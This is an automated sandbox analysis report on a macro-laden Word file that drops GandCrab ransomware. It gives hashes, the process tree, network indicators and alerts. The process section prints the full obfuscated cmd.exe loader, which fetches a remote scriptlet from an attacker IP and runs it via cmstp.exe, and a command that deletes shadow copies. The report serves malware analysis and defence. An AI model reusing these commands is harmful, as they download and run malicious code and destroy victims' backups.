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File name:

eFax_Dokument.doc

Full analysis: https://app.any.run/tasks/f95e635f-8ef3-4ddb-9c6c-23881b50771e
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Malware Trends Tracker     >>>
Analysis date: March 21, 2019, 14:48:12
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
trojan
squiblydoo
ransomware
gandcrab
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Admin, Template: Normal, Last Saved By: Admin, Revision Number: 3, Name of Creating Application: Microsoft Office Word, Total Editing Time: 02:00, Create Time/Date: Thu Jan 31 14:52:00 2019, Last Saved Time/Date: Thu Mar 21 14:35:00 2019, Number of Pages: 1, Number of Words: 4, Number of Characters: 23, Security: 0
MD5:

B6A6641BAF74CFDC80F28F7EC2B56347

SHA1:

AEA672AF6D6E1CDB20F1C7B281D53DB506200559

SHA256:

7E2D088E4950E867E875C547206795683070FA25E8C90AD301D3763B02A252A2

SSDEEP:

1536:3mMGHuJHHAShblIvD8P1aMxLm/4KnG0zFCFjkT2PXMdo0ZXEFN3FTHHG2bRBjD+w:3mmgKbS+1aMxLm/4KnqFNXM8VTHm2b/

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 14459.exe (PID: 2660)

    • SQUIBLYDOO was detected

      • cmstp.exe (PID: 2972)

    • Writes file to Word startup folder

      • 14459.exe (PID: 2660)

    • Deletes shadow copies

      • cmd.exe (PID: 628)

    • Actions looks like stealing of personal data

      • 14459.exe (PID: 2660)

    • Renames files like Ransomware

      • 14459.exe (PID: 2660)

    • Dropped file may contain instructions of ransomware

      • 14459.exe (PID: 2660)

    • Connects to CnC server

      • 14459.exe (PID: 2660)

    • Changes settings of System certificates

      • 14459.exe (PID: 2660)

    • GANDCRAB detected

      • 14459.exe (PID: 2660)

  • SUSPICIOUS

    • Creates files in the program directory

      • 14459.exe (PID: 2660)

    • Creates files in the user directory

      • cmstp.exe (PID: 2972)
      • cmd.exe (PID: 2564)
      • 14459.exe (PID: 2660)

    • Executable content was dropped or overwritten

      • cmstp.exe (PID: 2972)

    • Reads the cookies of Mozilla Firefox

      • 14459.exe (PID: 2660)

    • Starts CMD.EXE for commands execution

      • 14459.exe (PID: 2660)

    • Adds / modifies Windows certificates

      • 14459.exe (PID: 2660)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1896)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1896)

    • Dropped object may contain Bitcoin addresses

      • 14459.exe (PID: 2660)

    • Dropped object may contain TOR URL's

      • 14459.exe (PID: 2660)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: Admin
Keywords: -
Comments: -
Template: Normal
LastModifiedBy: Admin
RevisionNumber: 3
Software: Microsoft Office Word
TotalEditTime: 2.0 minutes
CreateDate: 2019:02:28 14:52:00
ModifyDate: 2019:03:21 14:35:00
Pages: 1
Words: 4
Characters: 23
Security: None
CodePage: Windows Latin 1 (Western European)
Company:
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 26
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
7
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs cmd.exe no specs #SQUIBLYDOO cmstp.exe #GANDCRAB 14459.exe cmd.exe vssadmin.exe no specs vssvc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1896"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\eFax_Dokument.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
2564cmd /V /C set "I8=s" && !I8!et "I53=\" && !I8!et "I2=e" && !I8!et "I5=i" && !I8!et "I96=A" && !I8!et "I6=N" && !I8!et "I89=d" && c!I96!ll !I8!et "I0=%!I96!PP!I89!!I96!T!I96!%" && c!I96!ll !I8!et "I31=%R!I96!!I6!!I89!OM%" && !I8!et "I81=!I0!!I53!M!I5!cro!I8!oft!I53!T!I2!mplat!I2!s!I53!!I31!.txt" && !I8!et "I07="^" && (For %i in ("[v!I2!r!I8!ion]" "!I8!ignatur!I2!=$Wi!I6!dow!I8! NTf7f81a39-5f63-5b42-9efd-1f13b5431005quot; "[D!I2!faultIn!I8!tall_Singl!I2!U!I8!er]" "UnR!I2!gi!I8!t!I2!rOCXs=I97" "[I97]" "%11%\%I7_1%%I7_2%%I7_3%,NI,%I_1%%I_2%%I_3%%I_4%%I_5%%I_6%%I_7%%I_8%%I_9%%I_10%%I_11%%I_12%%I_13%%I_14%" "[!I8!tring!I8!]" "I_1=ht" "I_2=tp" "I_3=:/" "I_4=/1" "I_5=34" "I_6=.2" "I_7=09" "I_8=.8" "I_9=8." "I_10=23" "I_11=/a" "I_12=sd" "I_13=.t" "I_14=xt" "I7_2=rO" "I7_1=sC" "I7_3=bJ" ) do @echo %~i)>"!I81!" && echo !I8!erv!I5!ceNam!I2!=!I07! !I07!>>!I81! && echo !I8!hortSvcN!I96!me=!I07! !I07!>>!I81! && c!I96!ll !I8!et "I28=%WI!I6!!I89!IR%" && !I8!t!I96!rt "" !I28!!I53!Sy!I8!t!I2!m32!I53!cm!I8!tp.!I2!x!I2! /s /ns "!I81!"C:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2972C:\Windows\System32\cmstp.exe /s /ns "C:\Users\admin\AppData\Roaming\Microsoft\Templates\3863.txt"C:\Windows\System32\cmstp.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile Installer
Exit code:
0
Version:
7.02.7600.16385 (win7_rtm.090713-1255)
2660"C:\Users\admin\AppData\Roaming\Microsoft\14459.exe" C:\Users\admin\AppData\Roaming\Microsoft\14459.exe
cmstp.exe
User:
admin
Integrity Level:
MEDIUM
628"C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quietC:\Windows\system32\cmd.exe
14459.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1764vssadmin delete shadows /all /quietC:\Windows\system32\vssadmin.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Command Line Interface for Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3240C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Volume Shadow Copy Service
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 576
Read events
1 174
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
416
Text files
325
Unknown types
20

Dropped files

PID
Process
Filename
Type
1896WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR8CC6.tmp.cvr —
MD5:—
SHA256:—
1896WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF2E2F0D0333F81C53.TMP —
MD5:—
SHA256:—
1896WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\SystemMonitor.exdtlb
MD5:CE5C2E38833E81BD29ED8A644405088C
SHA256:4415C3EE92F1EA13E2A82331A690149978D8B04F542DED1A4D7D73625FB372AE
2972cmstp.exeC:\Users\admin\AppData\Roaming\Microsoft\14459.exeexecutable
MD5:5DC82CAF1BED2BF1F465F12869777BBA
SHA256:8A79211CB83014CDCF644B2105366BC1CA52A2414C93396EDEB531194026C3D8
266014459.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\boot.sdi —
MD5:—
SHA256:—
1896WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F1972C3D.wmfwmf
MD5:9B958D431B80584579043950B6329CC2
SHA256:0C014D127F39FDEEDFA2229D89442011E65B0B09A38F748231D64FCE5E29224E
1896WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:C2F8C21CBDD63CE007BEFAADFCC707EC
SHA256:D445B9DC038B003F0B915D62C39A6FA1A7BAD3834D8ECA1FCEBD70CCDAFC4AF2
2564cmd.exeC:\Users\admin\AppData\Roaming\Microsoft\Templates\3863.txtini
MD5:103DF9576F8301B28300F327F562B60C
SHA256:59FF20A77888D1A77D44A6F1BB22833463B2EEFE0A66C6935D4E40A108938145
1896WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$ax_Dokument.docpgc
MD5:4F60B8095E0789F42FEAE66F2AE6B7E7
SHA256:C3395F6CC928659CFB8599378FCBDC75D64A309A2BA3D1ED4EA03A78B8203283
266014459.exeC:\Users\BGIPBFOXB-MANUAL.txttext
MD5:1AAAB04C36861AB69BF77C523156C946
SHA256:D3F096B82DCBC88042F2BC63917D0F916CDA42AE2BC6A23AFA9FCBB6F37B4D98
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2972
cmstp.exe
GET
200
134.209.88.23:80
http://134.209.88.23/asd.txt
US
xml
280 Kb
malicious
2660
14459.exe
GET
301
107.173.49.208:80
http://www.kakaocorp.link/
US
html
162 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2660
14459.exe
107.173.49.208:80
www.kakaocorp.link
ColoCrossing
US
malicious
2972
cmstp.exe
134.209.88.23:80
—
—
US
malicious
2660
14459.exe
107.173.49.208:443
www.kakaocorp.link
ColoCrossing
US
malicious

DNS requests

Domain
IP
Reputation
www.kakaocorp.link
  • 107.173.49.208
malicious

Threats

PID
Process
Class
Message
2972
cmstp.exe
A Network Trojan was detected
MALWARE [PTsecurity] Squiblydoo Scriptlet
2660
14459.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
2660
14459.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
2660
14459.exe
A Network Trojan was detected
MALWARE [PTsecurity] GandCrab v.5 SSL Connection
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
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Reports
eFax_Dokument.doc